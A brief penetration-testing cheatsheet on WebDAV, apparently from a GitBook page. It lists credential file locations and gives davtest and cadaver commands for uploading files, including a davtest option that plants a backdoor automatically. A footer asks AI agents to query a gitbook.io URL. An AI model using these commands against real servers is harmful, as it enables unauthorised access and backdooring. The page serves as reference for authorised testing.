# webdav

## Cred File

```bash
# names
.htpasswd
passwd.dav

# check in
/etc/apache2
/var/www
/var/www/html
/var/www/html/*/webdav
```

## davtest (auto-scan)

```bash
davtest -url http://IP/PATH -cleanup [-auth user:pass] [-nocreate]
# cleanup: clean post testing
# nocreate: does not create directory to test in webdav root dir

# auto backdoor on successful upload
$ davtest -url http://IP/PATH [-auth user:pass] -sendbd auto

# upload file
davtest -url http://IP/PATH [auth user:pass] -uploadfile <FILE> -uploadloc <FILENAME-ON-SERVER>
```

## cadaver (manual enum)

```bash
cadaver http://IP/PATH
# will ask your user:pass

put <FILE>
```

## References

* [Hacktricks.xyz/put-method-webdav](https://book.hacktricks.xyz/pentesting/pentesting-web/put-method-webdav)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kashz.gitbook.io/kashz-jewels/cheatsheet/webdav.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
